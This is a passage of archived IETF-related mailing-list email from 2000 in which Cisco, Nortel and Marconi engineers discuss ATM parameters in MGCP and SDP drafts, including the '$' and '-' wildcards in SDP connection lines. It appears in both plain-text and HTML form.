Sorry for the late response. I have returned from a trip.
 
>      Could you please clafiry a doubt regarding ATM extensions/ SDP for
>MGCP?
>
>1. We have ATM paramaters appearing in the SDP draft authored by you.
>2. We have ATM parameters appearing in the local connection options. The draft
is available at ISC

When you wrote this, an obsolete ATM packagew as there on the ISC site. The
only valid local connection option and ATM package is now there on the ISC
site. It is  lled draft-mgcp-atm-package-00.txt. It contains the Local
Connection options and the package (i.e. the events). 

>3. We have ATM extension packages for MGCP.

THis is not separate. The only valid one is draft-mgcp-atm-package-00.txt on
the ISC site. Any other MGCP ATM documents on the ISC site are obsolete. If you
will pinpoint them to me, I will have them removed.

>
>To my knowledge, each of these completely specify the ATM parameters that 
>may be
>required by the underlying transport layer. Could you tell me why we need
>the same parameters represented and repeated in all three places?

Yes, there is duplication in the MGCP-ATM extensions and the SDP-ATM
extensions. Reasons: 
    *  Often the same information needs to be repeated as when the call agent
    sends a local connection option and the gateway sends back the same or a
    subset. THis is true even in standard rfc2705 MGCP e.g. for the codec. 
    * Some applications might have the call agent dictating these
parameters via
    MGCP, while others might have the gateways negotiating them through SDP. 
    * In the h.248/Megaco case, there are no local connection options. The call
    agent sets these parameters through SDP, while the gateway responds through
    SDP. So for the Megaco case at least, you need to represent all the
    parameters in SDP. 
    * In the MGCP case, you cannot assume that the call agent will behave the
    same way as in the Megaco case and convey parameters through SDP. Quite a
    few call agents do not even look at the SDP, therefore you need to
    replicate these parameters as MGCP local connection options. 
I hope this is clear. In the final analysis, we have to replicate parameters in
the MGCP local connection options and SDP. This is one of the weak points of
MGCP which h.248/Megaco rectifies.

Rajesh
>
>Thanx & regards,
>Mahamood
>
>


- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 

--=====================_30823802==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font color="#FF0000">Mahamood,<br>
<br>
Sorry for the late response. I have returned from a trip.<br>
</font>&nbsp;<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Could you please clafiry a doubt
regarding ATM extensions/ SDP for<br>
&gt;MGCP?<br>
&gt;<br>
&gt;1. We have ATM paramaters appearing in the SDP draft authored by
you.<br>
&gt;2. We have ATM parameters appearing in the local connection options.
The draft is available at ISC<br>
<br>
<font color="#FF0000">When you wrote this, an obsolete ATM packagew as
there on the ISC site. The only valid local connection option and ATM
package is now there on the ISC site. It is&nbsp; lled
draft-mgcp-atm-package-00.txt. It contains the Local Connection options
and the package (i.e. the events). <br>
<br>
</font>&gt;3. We have ATM extension packages for MGCP.<br>
<br>
<font color="#FF0000">THis is not separate. The only valid one is
draft-mgcp-atm-package-00.txt on the ISC site. Any other MGCP ATM
documents on the ISC site are obsolete. If you will pinpoint them to me,
I will have them removed.<br>
<br>
</font>&gt;<br>
&gt;To my knowledge, each of these completely specify the ATM parameters
that <br>
&gt;may be<br>
&gt;required by the underlying transport layer. Could you tell me why we
need<br>
&gt;the same parameters represented and repeated in all three
places?<br>
<br>
<font color="#FF0000">Yes, there is duplication in the MGCP-ATM
extensions and the SDP-ATM extensions. Reasons:
<ul>
<li>&nbsp;Often the same information needs to be repeated as when the
call agent sends a local connection option and the gateway sends back the
same or a subset. THis is true even in standard rfc2705 MGCP e.g. for the
codec.
<li>Some applications might have the call agent dictating these
parameters via MGCP, while others might have the gateways negotiating
them through SDP.
<li>In the h.248/Megaco case, there are no local connection options. The
call agent sets these parameters through SDP, while the gateway responds
through SDP. So for the Megaco case at least, you need to represent all
the parameters in SDP.
<li>In the MGCP case, you cannot assume that the call agent will behave
the same way as in the Megaco case and convey parameters through SDP.
Quite a few call agents do not even look at the SDP, therefore you need
to replicate these parameters as MGCP local connection options.
</ul>I hope this is clear. In the final analysis, we have to replicate
parameters in the MGCP local connection options and SDP. This is one of
the weak points of MGCP which h.248/Megaco rectifies.<br>
<br>
Rajesh<br>
</font>&gt;<br>
&gt;Thanx &amp; regards,<br>
&gt;Mahamood<br>
&gt;<br>
&gt;<br>
<br>

<br>
- Rajesh Kumar<br>
<font size=2 color="#800000">&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
</font>-------------------------------------------------------<br>
Rajesh
Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<br>
Carrier Packet
Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<br>
Cisco
Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.:|||:.&nbsp;&nbsp; .:|||:.<br>
San Jose,
California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
..:|||||||:.:|||||||:..<br>
408 527
0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C i s c o S y s t e m s<br>
rkumar@cisco.com&nbsp; <br>
-------------------------------------------------------<br>
<font size=2 color="#800000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp;<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_30823802==_.ALT--


From confctrl-owner  Tue Oct 10 18:10:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA10913
	for confctrl-outgoing; Tue, 10 Oct 2000 18:10:13 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA10908
	for <confctrl@zephyr.isi.edu>; Tue, 10 Oct 2000 18:10:11 -0700 (PDT)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id SAA05615
	for <confctrl@isi.edu>; Tue, 10 Oct 2000 18:10:22 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-169.cisco.com [171.71.29.169])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id SAA29945;
	Tue, 10 Oct 2000 18:06:27 -0700 (PDT)
Message-Id: <4.1.20001010175843.030a6920@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 10 Oct 2000 18:11:27 -0700
To: "Sophia Scoggins" <scoggins@nortelnetworks.com>,
        "Mark Watson" <mwatson@nortelnetworks.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Question on ATM SDP draft
In-Reply-To: <E7C200FFFF64D211972F0000F8082287C96470@ztcfd004.ca.nortel.
 com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_33192688==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_33192688==_.ALT
Content-Type: text/plain; charset="us-ascii"

Sophia and Mark,
Since H.248 allows the use of the CHOOSE wildcard ("$") for all parameters,
presumably it allows it for the <network type>. I haven't written that up in
the ATM SDP draft because it is one level above the draft. In the context of
the ATM SDP draft, <network type> is always ATM. However, I can add <network
type> = "$" as a permissible syntax.

Regarding the consistency of <network type>, <ATMaddressType> and <ATMaddress>,
I agree with Sophia. These need to  be consistent, and there is no point in
wildcarding <network type> if you know, for example, that <ATMaddressType> =
NSAP. Naren's ABNF, modified in Section 10 of the ATM SDP draft, will not allow
inconsistent <ATMaddressType> and <ATMaddress>. Some higher-level document,
such
as the Megaco documents, should capture the need of the <network type> being
consistent with the rest of the SDP (perhaps, SDP consistency is an axiomatic
requirement)!

So in other words, I can add something about <network type> = "$".  I will not
make it illegal if other parameters such as address type = NSAP are specified,
only a caveat that the freedom implied by "$" is meant to be restricted by the
values of other parameters in the same SDP descriptor. I will also allow
<network type> = "-", with a statement that

c=- NSAP <address> 

is more appropriate than 

c=$ NSAP <address>

because, "-" means "I don't care, but choose wisely" and "$" means "choose any
darn value you want".

My concern is that by specifying wildcarding rules for <network type> I am
overstepping the boundaries of an "ATM" SDP draft. 

Comments?


Rajesh Kumar
At 10:04 AM 10/9/00 -0400, Sophia Scoggins wrote: 
>
> The "c=" line is hierarchical. It would be better to have the address type
> based on the network type and the address format depends on the address type.
> For example, "network type = IN'" will only have the "address type = IP4 or
> IP6", while "network type = ATM" has several address types that are not
> applicable to IN. In the case that many layer 2 (such as ATM and FR) networks
> can have NSAP, their address formats are not the same. I worked on FR several
> years ago. Don't remember the exact FR address format (left that at home),
> but the FR address format is different from the ATM's. So, if a MGC or MG
> does not know the network type, it should not provide address type or
> address. 
>  
> What is the advantage of providing network address type and address while
> don't know the network type? If the MGC or MG does not know the network type,
> then it should not have the address type or address. 
>  
>  
> Regards, Sophia
>  
> -----Original Message-----
> From: Watson, Mark [MAIFP:EP11-M:EXCH] 
> Sent: Monday, October 09, 2000 9:33 AM
> To: Scoggins, Sophia [NC1:8740:EXCH]; 'confctrl@ISI.EDU';
> 'atmsdp@eng.fore.com'
> Subject: RE: Question on ATM SDP draft
>
> Sophia,
>  
> I was asking whether the <AddressType> field is independent of the
> <NetworkType> field. I think it should be, if it is going to be possible to
> keep the MGC 'bearer indepenent'.
>  
> This would allow the gateway address to be interpreted without understanding
> the <NetworkType> field. You could even have:
>  
> c=$ NSAP <address>
>  
> in the case that a gateway supports multiple network types which can all use
> NSAP addressing.
>  
> It would also mean that the presently defined values of <AddressType> would
> be valid with all future values of <NetworkType>, as far as this made sense
> for the specific technology.
>  
> Regards...Mark
>>
>> -----Original Message----- 
>> From: Scoggins, Sophia [mailto:scoggins@americasm10.nt.com] 
>> Sent: 09 October 2000 14:01 
>> To: Watson, Mark ; 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com' 
>> Subject: RE: Question on ATM SDP draft
>>
>> The "c=" line is applicable to other type of networks as well. It has been
>> implemented in the IP network: 
>>   
>> c=IN IP4 <IP address> 
>>   
>> Furthermore, there was no restriction on either MGC or MG must provide the
>> network type. So, if the MGC is bearer independent, it would send a '$' to
>> let the MG decide which type of network is. Similarly, if the MGC knew the
>> network type, but not the address type, it can let the MG to decide the
>> bearer technologies. So, all of below formats should be valid: 
>>   
>> c= $ $ $ 
>> c=IN $ $ 
>> c=IN IP4 $ 
>> c=ATM $ $ 
>> c= ATM NSAP $ 
>>   
>> In addition to the "c=" line, the "m=" line also allows $ in many arguments
>> fields. 
>>   
>> The difference between "$" and "-" is that "$" means the argument is in use,
>> but the value has been determined. The recipient of the SDP should
>> provide/return the value, while "-" means the argument is not in use
>> (therefore, it should be ignored). 
>>   
>> However, if "$" seems caused potential interop problems. Because a MGC can
>> let as many fields be "$" as it wishes, while a MG may rely on the MGC's to
>> determine the value of several arguments. This is not a protocol issue, but
>> an implementation agreement / interop issue. 
>>   
>>   
>> Regards, Sophia 
>> -----Original Message----- 
>> From: Watson, Mark [MAIFP:EP11-M:EXCH] 
>> Sent: Monday, October 09, 2000 7:01 AM 
>> To: 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com' 
>> Subject: FW: Question on ATM SDP draft
>>
>> Anyone have any opinions on this ? 
>> Regards, 
>>   
>> Mark Watson 
>> Nortel Networkd 
>> -----Original Message----- 
>> From: Watson, Mark [mailto:mwatson@europem01.nt.com] 
>> Sent: 28 September 2000 10:02 
>> To: 'Rajesh Kumar' 
>> Cc: atmsdp@eng.fore.com 
>> Subject: RE: Question
>>
>> Hi, 
>>   
>> Minor point, but on the 'c=' line, shouldn't we describe this as being the
>> same syntax as in existing SDP: 
>>   
>> c=<NetworkType> <AddressType> <Address> 
>>   
>> and say that we are just introducing some new values for <AddressType> and
>> associated formats for <Address>. I would like to think that the new
>> <AddressType>s would be valid for all values of <NetworkType> not just 'ATM'
>> (I'm thinking more of future values of <NetworkType> than the existing
>> values.) 
>>   
>> The current description kind of implies that the new Address Types are only
>> used when <NetworkType>=ATM. 
>>   
>> Regards, 
>>   
>> Mark Watson 
>> Nortel Networks 
>>   
>>   
>>  -----Original Message----- 
>> From: Rajesh Kumar [mailto:rkumar@cisco.com] 
>> Sent: 26 September 2000 22:04 
>> To: Mackey, Michael; 'Rajesh Kumar' 
>> Cc: Somers, Mark; atmsdp@eng.fore.com 
>> Subject: Question
>>
>> Michael, 
>> Yes. h.248 allows "$" for the IP address. Therefore, the same should be OK
>> for the ATM address.
>>
>> My question is: Isn't this semantically the same as the "-"? This is how it
>> is used in h.248. In this case, do we need the "-"? For backwards
>> compatibility, do we want to permit a "$" and a "-" as synonyms for the 'c'
>> line?
>>
>> Rajesh 
>> At 06:13 AM 9/26/00 -0400, Mackey, Michael wrote: 
>>>
>>> Hi Rajesh ... 
>>>     I have a small question about the c= line ... you say in the document
>>> that it can be set to 
>>>   
>>> c=ATM <ATMaddressType> <ATMaddress>  
>>>   
>>> and if they are not known that ATMaddressType and ATMaddress can be set
>>> to   '-' , would I be correct in presuming that the use of $ is also
>>> allowed for this field ... if yes then should it be mentioned in the
>>> document. I know Megaco allows all fields in SDP to be substituted with $
>>> but since you explicitly say it for the vcci maybe it might be better to
>>> add it in. 
>>>   
>>> Michael Mackey, 
>>> Marconi Communications, 
>>> Tel: +353 1 6638407 
>>> - <http://www.marconi.com/>www.marconi.com -  
>>> -----Original Message----- 
>>> From: Rajesh Kumar [mailto:rkumar@cisco.com] 
>>> Sent: Tuesday, September 26, 2000 12:34 AM 
>>> To: mhussain@hss.hns.com; atmsdp@eng.fore.com 
>>> Subject: ATM SDP inputs from Naren and Mahamood
>>>
>>> Mahamood and Naren, 
>>> I have concatenated, below, several of your emails into one to expedite my
>>> response. Hope this clears up the air. Thanks to you  for your latest round
>>> of inputs. These are specially significant to me since your companies
>>> (Trillium and Hughes Software) are actually implementing the draft. 
>>> Here are some responses, in-line. 
>>> At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 
>>> > 
>>> >1. Why does a port number need 32 digits for representation? Won't 32 bits
>>> >suffice? I am not aware of any machine that uses such a large number range
>>> >for its ports. Kindly clarify.
>>>
>>> See http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt.
>>> It refers to rfc2737 and rfc2233. In brief, it specifies the port
>>> identifier as a variable size octet string of up to 32 octets. Although the
>>> earlier drafts limited port ID to 32 bits (4 octets), it was considered
>>> necessary to extend it to 32. I have a little clean-up to do regarding the
>>> "34 alphanumeric" characters and I'll do it in the next draft which I will
>>> circulate on the mailing list. Basically, I will make it conform to what
>>> the IETF has standardized/recommended so far in its physical topology MIBs.
>>> And, yes, there are implementations in which the port ID is more than 32
>>> bits e.g. cases in which there is a six-byte  IEEE 802 MAC address used as
>>> a physical port ID. 
>>> > 
>>> >2. The draft says ".. to cover all cases, the <portid> can consist of upto
>>> 34 
>>> >alphanumeric charecters. ". My understanding of 'alphanumeric' is strings
>>> like 
>>> >"mhussain_32". If we use such identifiers for a port, is there going to be
>>> some 
>>> >kind of a mapping between the port number and the port identifier? Since
>>> so far 
>>> >as I gather ports are identified only by a 32bit number.
>>>
>>> See comment above.
>>>
>>> > 
>>> >     These are also problems in migrating from the older draft to the
>>> newer 
>>> >one. 
>>> >The older draft qualified vcci, bcg, port id etc as "decimal numbers".
>>> With 
>>> >this 
>>> >new definition of <portid>, code written around the old draft will be
>>> broken 
>>> >:-(. Can we come up with a scheme that extends the old definitions without
>>> >breaking old code?
>>>
>>> I am going to be following Naren's suggestion that: "There are a few places
>>> (NSAP address, IEEE ID etc) where ONLY hex digits can appear. In these
>>> cases I am fine with having no hex prefixes. My only concern was places
>>> where a hex or a decimal may appear." In these cases where decimal or hex
>>> values are permitted, I'll be requiring explicit 0x prefixes to distinguish
>>> decimal from hex. Also, see my comment, above,  about cleaning up the
>>> alphanumeric port ID. I hope this also helps backwards compatibility with
>>> the code that your team wrote around the earlier draft. However, please
>>> note that there is risk associated with writing code around specifications
>>> that are in flux. You should expect minor changes until the document is
>>> ratified. This is just the way things are.
>>>
>>> On another note, I think the consensus, by articulation or silence, in this
>>> group is to disallow the implicit virtualConnectionId naming convention. I
>>> will do that too. This is what Sean Sheedy, Naren Tulpule and you wanted.
>>>
>>> >     Regarding the virtual connection ID for the "m=" line, the current
>>> draft 
>>> >does not explicitly allow/ disallow the sub-parameters to be a dollar. If
>>> I am 
>>> >not wrong, the oldest draft explicitly disallowed bcg from taking on a
>>> dollar. 
>>> >Could such a restriction be included in the draft?
>>>
>>> The older version did not disallow wildcarding the <bcg>. It was omitted as
>>> an oversight. Actually, the <bcg> was added in the description of the
>>> VirtualConnectionId without adding it into the wildcarding description.
>>> That was a typo and not a  feature. Since there is no reason why  <bcg>
>>> wildcarding should be disallowed, I will not be adding the restriction you
>>> requested.
>>>
>>> > 
>>> >Rajesh, could you also consider including a formal grammar specification
>>> for 
>>> >ATM 
>>> >SDP? ABNF might be a good choice of representation. This will help clear
>>> any 
>>> >ambiguities that may arise as the grammar will be the standard of
>>> reference 
>>> >when 
>>> >building a parser or encoder for ATM sdp.
>>>
>>> I do not think I will have a formal ABNF grammar in by the next draft,
>>> which I hope to issue in a few days. Naren has provided me with one to
>>> start with (Thanks!), but it needs some work. I plan to have it in the next
>>> draft after the next.
>>>
>>> > 
>>> > 
>>> >Thanx, 
>>> >Mahamood 
>>> > 
>>> >
>>>
>>>
>>>
>>>
>>>
>>> - Rajesh Kumar 
>>>          
>>> ------------------------------------------------------- 
>>> Rajesh Kumar                             :         : 
>>> Carrier Packet Voice                    .|.       .|. 
>>> Cisco Systems                         .:|||:.   .:|||:. 
>>> San Jose, California               ..:|||||||:.:|||||||:.. 
>>> 408 527 0811                       C i s c o S y s t e m s 
>>> rkumar@cisco.com  
>>> ------------------------------------------------------- 
>>>           
>>>   
>>>   
>>>
>>>
>>>
>>>
>>> - Rajesh Kumar
>>>         
>>> -------------------------------------------------------
>>> Rajesh Kumar                             :         :
>>> Carrier Packet Voice                    .|.       .|.
>>> Cisco Systems                         .:|||:.   .:|||:.
>>> San Jose, California               ..:|||||||:.:|||||||:..
>>> 408 527 0811                       C i s c o S y s t e m s
>>> rkumar@cisco.com  
>>> -------------------------------------------------------
>>>           
>>>  
>>>  
>>
>
>
>
>
> - Rajesh Kumar
>         
> -------------------------------------------------------
> Rajesh Kumar                             :         :
> Carrier Packet Voice                    .|.       .|.
> Cisco Systems                         .:|||:.   .:|||:.
> San Jose, California               ..:|||||||:.:|||||||:..
> 408 527 0811                       C i s c o S y s t e m s
> rkumar@cisco.com  
> -------------------------------------------------------
>           
>  
>  

--=====================_33192688==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Sophia and Mark,<br>
Since H.248 allows the use of the CHOOSE wildcard (&quot;$&quot;) for all
parameters, presumably it allows it for the &lt;network type&gt;. I
haven't written that up in the ATM SDP draft because it is one level
above the draft. In the context of the ATM SDP draft, &lt;network
type&gt; is always ATM. However, I can add &lt;network type&gt; =
&quot;$&quot; as a permissible syntax.<br>
<br>
Regarding the consistency of &lt;network type&gt;,
<font size=4>&lt;ATMaddressType&gt; and &lt;ATMaddress&gt;</font>, I
agree with Sophia. These need to&nbsp; be consistent, and there is no
point in wildcarding &lt;network type&gt; if you know, for example, that
<font size=4>&lt;ATMaddressType&gt;</font> = NSAP. Naren's ABNF, modified
in Section 10 of the ATM SDP draft, will not allow inconsistent
<font size=4>&lt;ATMaddressType&gt; and &lt;ATMaddress&gt;</font>. Some
higher-level document, such as the Megaco documents, should capture the
need of the &lt;network type&gt; being consistent with the rest of the
SDP (perhaps, SDP consistency is an axiomatic requirement)!<br>
<br>
So in other words, I can add something about &lt;network type&gt; =
&quot;$&quot;.&nbsp; I will not make it illegal if other parameters such
as address type = NSAP are specified, only a caveat that the freedom
implied by &quot;$&quot; is meant to be restricted by the values of other
parameters in the same SDP descriptor. I will also allow &lt;network
type&gt; = &quot;-&quot;, with a statement that<br>
<br>
<font size=2 color="#0000FF">c=- NSAP &lt;address&gt;</font> <br>
<br>
is more appropriate than <br>
<br>
<font size=2 color="#0000FF">c=$ NSAP &lt;address&gt;<br>
<br>
</font>because, &quot;-&quot; means &quot;I don't care, but choose
wisely&quot; and &quot;$&quot; means &quot;choose any darn value you
want&quot;.<br>
<br>
My concern is that by specifying wildcarding rules for &lt;network
type&gt; I am overstepping the boundaries of an &quot;ATM&quot; SDP
draft. <br>
<br>
Comments?<br>
<br>
<br>
Rajesh Kumar<br>
At 10:04 AM 10/9/00 -0400, Sophia Scoggins wrote: <br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>The
&quot;c=&quot; line is hierarchical. It would be better to have the
address type based on the network type and the address format depends on
the address type. For example, &quot;network type = IN'&quot; will only
have the &quot;address type = IP4 or IP6&quot;, while &quot;network type
= ATM&quot; has several address types that are not applicable to IN. In
the case that many layer 2 (such as ATM and FR) networks can have NSAP,
their address formats are not the same. I worked on FR several years ago.
Don't remember the exact FR address format (left that at home), but the
FR address format is different from the ATM's. So, if a MGC or MG does
not know the network type, it should not provide address type or address.
</font><br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">What is the advantage of
providing network address type and address while don't know the network
type? If the MGC or MG does not know the network type, then it should not
have the address type or address. </font><br>
&nbsp;<br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">Regards, Sophia</font><br>
&nbsp;<br>
<font face="tahoma" size=2>-----Original Message-----<br>
<b>From:</b> Watson, Mark [MAIFP:EP11-M:EXCH] <br>
<b>Sent:</b> Monday, October 09, 2000 9:33 AM<br>
<b>To:</b> Scoggins, Sophia [NC1:8740:EXCH]; 'confctrl@ISI.EDU';
'atmsdp@eng.fore.com'<br>
<b>Subject:</b> RE: Question on ATM SDP draft<br>
<br>
</font><font size=2 color="#0000FF">Sophia,</font><br>
&nbsp;<br>
<font size=2 color="#0000FF">I was asking whether the &lt;AddressType&gt;
field is independent of the &lt;NetworkType&gt; field. I think it should
be, if it is going to be possible to keep the MGC 'bearer
indepenent'.</font><br>
&nbsp;<br>
<font size=2 color="#0000FF">This would allow the gateway address to be
interpreted without understanding the &lt;NetworkType&gt; field. You
could even have:</font><br>
&nbsp;<br>
<font size=2 color="#0000FF">c=$ NSAP &lt;address&gt;</font><br>
&nbsp;<br>
<font size=2 color="#0000FF">in the case that a gateway supports multiple
network types which can all use NSAP addressing.</font><br>
&nbsp;<br>
<font size=2 color="#0000FF">It would also mean that the presently
defined values of &lt;AddressType&gt; would be valid with all future
values of &lt;NetworkType&gt;, as far as this made sense for the specific
technology.</font><br>
&nbsp;<br>
<font size=2 color="#0000FF">Regards...Mark</font><blockquote><font face="tahoma" size=2>
<dl>
<dd>-----Original Message-----
<dd>From:</b> Scoggins, Sophia
[<a href="mailto:scoggins@americasm10.nt.com" eudora="autourl">mailto:scoggins@americasm10.nt.com</a>]
<dd>Sent:</b> 09 October 2000 14:01
<dd>To:</b> Watson, Mark ; 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'
<dd>Subject:</b> RE: Question on ATM SDP draft<br>
<br>
</font><font face="arial" size=2 color="#0000FF">
<dd>The &quot;c=&quot; line is applicable to other type of networks as
well. It has been implemented in the IP network:</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>c=IN IP4 &lt;IP address&gt;</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>Furthermore, there was no restriction on either MGC or MG must
provide the network type. So, if the MGC is bearer independent, it would
send a '$' to let the MG decide which type of network is. Similarly, if
the MGC knew the network type, but not the address type, it can let the
MG to decide the bearer technologies. So, all of below formats should be
valid:</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>c= $ $ $</font>
<dd>c=IN $ $
<dd>c=IN IP4 $
<dd>c=ATM $ $
<dd>c= ATM NSAP $
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>In addition to the &quot;c=&quot; line, the &quot;m=&quot; line also
allows $ in many arguments fields.</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>The difference between &quot;$&quot; and &quot;-&quot; is that
&quot;$&quot; means the argument is in use, but the value has been
determined. The recipient of the SDP should provide/return the value,
while &quot;-&quot; means the argument is not in use (therefore, it
should be ignored).</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>However, if &quot;$&quot; seems caused potential interop problems.
Because a MGC can let as many fields be &quot;$&quot; as it wishes, while
a MG may rely on the MGC's to determine the value of several arguments.
This is not a protocol issue, but an implementation agreement / interop
issue.</font>
<dd>&nbsp;
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>Regards, Sophia</font><font face="tahoma" size=2>
<dd>-----Original Message-----
<dd>From:</b> Watson, Mark [MAIFP:EP11-M:EXCH] 
<dd>Sent:</b> Monday, October 09, 2000 7:01 AM
<dd>To:</b> 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'
<dd>Subject:</b> FW: Question on ATM SDP draft<br>
<br>
</font><font size=2 color="#0000FF">
<dd>Anyone have any opinions on this ?</font>
<dd>Regards,
<dd>&nbsp;<font size=2 color="#0000FF">
<dd>Mark Watson</font>
<dd>Nortel Networkd<font face="tahoma" size=2>
<dd>-----Original Message-----
<dd>From:</b> Watson, Mark
[<a href="mailto:mwatson@europem01.nt.com" eudora="autourl">mailto:mwatson@europem01.nt.com</a>]
<dd>Sent:</b> 28 September 2000 10:02
<dd>To:</b> 'Rajesh Kumar'
<dd>Cc:</b> atmsdp@eng.fore.com
<dd>Subject:</b> RE: Question<br>
<br>
</font><font face="arial" size=2 color="#0000FF">
<dd>Hi,</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>Minor point, but on the 'c=' line, shouldn't we describe this as
being the same syntax as in existing SDP:</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>c=&lt;NetworkType&gt; &lt;AddressType&gt; &lt;Address&gt;</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>and say that we are just introducing some new values for
&lt;AddressType&gt; and associated formats for &lt;Address&gt;. I would
like to think that the new &lt;AddressType&gt;s would be valid for all
values of &lt;NetworkType&gt; not just 'ATM' (I'm thinking more of future
values of &lt;NetworkType&gt; than the existing values.)</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>The current description kind of implies that the new Address Types
are only used when &lt;NetworkType&gt;=ATM.</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>Regards,</font>
<dd>&nbsp;<font face="arial" size=2 color="#0000FF">
<dd>Mark Watson</font>
<dd>Nortel Networks
<dd>&nbsp;
<dd>&nbsp;<font face="tahoma" size=2>
<dd>&nbsp;-----Original Message-----
<dd>From:</b> Rajesh Kumar
[<a href="mailto:rkumar@cisco.com" eudora="autourl">mailto:rkumar@cisco.com</a>]
<dd>Sent:</b> 26 September 2000 22:04
<dd>To:</b> Mackey, Michael; 'Rajesh Kumar'
<dd>Cc:</b> Somers, Mark; atmsdp@eng.fore.com
<dd>Subject:</b> Question<br>
<br>
</font>
<dd>Michael,
<dd>Yes. h.248 allows &quot;$&quot; for the IP address. Therefore, the
same should be OK for the ATM address.<br>
<br>

<dd>My question is: Isn't this semantically the same as the
&quot;-&quot;? This is how it is used in h.248. In this case, do we need
the &quot;-&quot;? For backwards compatibility, do we want to permit a
&quot;$&quot; and a &quot;-&quot; as synonyms for the 'c' line?<br>
<br>

<dd>Rajesh
<dd>At 06:13 AM 9/26/00 -0400, Mackey, Michael wrote:
<font face="arial" size=2><blockquote type=cite cite>
<dd>Hi Rajesh ...</font>
<dd>&nbsp;&nbsp;&nbsp; I have a small question about the c= line ... you
say in the document that it can be set to 
<dd>&nbsp;<font face="arial">
<dd>c=ATM &lt;ATMaddressType&gt; &lt;ATMaddress&gt; </font>
<dd>&nbsp;<font face="arial">
<dd>and if they are not known that ATMaddressType and ATMaddress can be
set to&nbsp;&nbsp; '-' , would I be correct in presuming that the use of
$ is also allowed for this field ... if yes then should it be mentioned
in the document. I know Megaco allows all fields in SDP to be substituted
with $ but since you explicitly say it for the vcci maybe it might be
better to add it in.</font>
<dd>&nbsp;<font face="arial" size=2>
<dd>Michael Mackey,</font></b></i>
<dd>Marconi Communications,
<dd>Tel: +353 1 6638407
<dd>- <a href="http://www.marconi.com/">www.marconi.com</a> -
<font face="tahoma" size=2>
<dd>-----Original Message----- 
<dd>From: Rajesh Kumar
